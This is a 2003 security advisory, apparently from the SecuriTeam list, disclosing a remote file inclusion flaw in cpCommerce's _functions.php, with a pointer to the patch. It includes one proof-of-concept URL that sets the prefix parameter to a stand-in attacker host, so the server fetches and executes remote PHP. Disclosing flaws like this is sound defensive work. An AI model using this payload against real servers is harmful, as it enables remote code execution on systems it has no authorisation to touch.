[UNIX] File Inclusion Vulnerability in cpCommerce

From: SecuriTeam (support_at_securiteam.com)
Date: 10/19/03

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Date: 19 Oct 2003 14:30:46 +0200

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      File Inclusion Vulnerability in cpCommerce
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.cpcommerce.org/> cpCommerce is "an open-source e-commerce
    solution that is entirely template and module based". A vulnerability in
    the product allows remote attackers to cause the product to include
    arbitrary PHP files and execute them.

    DETAILS

    There is a file inclusion vulnerability in the _functions.php file, line
    13-14:
      require_once("{$prefix}_config.php");
      require_once("{$prefix}_gateways.php");

    Is it possible for a remote attacker to include an external file and
    execute arbitrary commands with the privileges of the web server (nobody
    by default).

    To test the vulnerability try this:
    http://www.vulnsite.com/path_of_cpcommerce/_functions.php?prefix=http://www.attacker.com/index

    In this way, the file "http://www.attacker.com/index_config.php" or
    "http://www.attacker.com/index_gateways.php" will be included and executed
    on the server.

    Solution:
    The author has been contacted and has published a temporary fix in the
    cpCommerce website forum, waiting for the new version.

    The patch is available here:
    <http://cpcommerce.org/forums/index.php?board=2;action=display;threadid=864> http://cpcommerce.org/forums/index.php?board=2;action=display;threadid=864.

    ADDITIONAL INFORMATION

    The original advisory can be downloaded from:
    <http://www.zone-h.org/en/advisories/read/id=3284/>
    http://www.zone-h.org/en/advisories/read/id=3284/.

    The information has been provided by <mailto:astharot@zone-h.org>
    Astharot.

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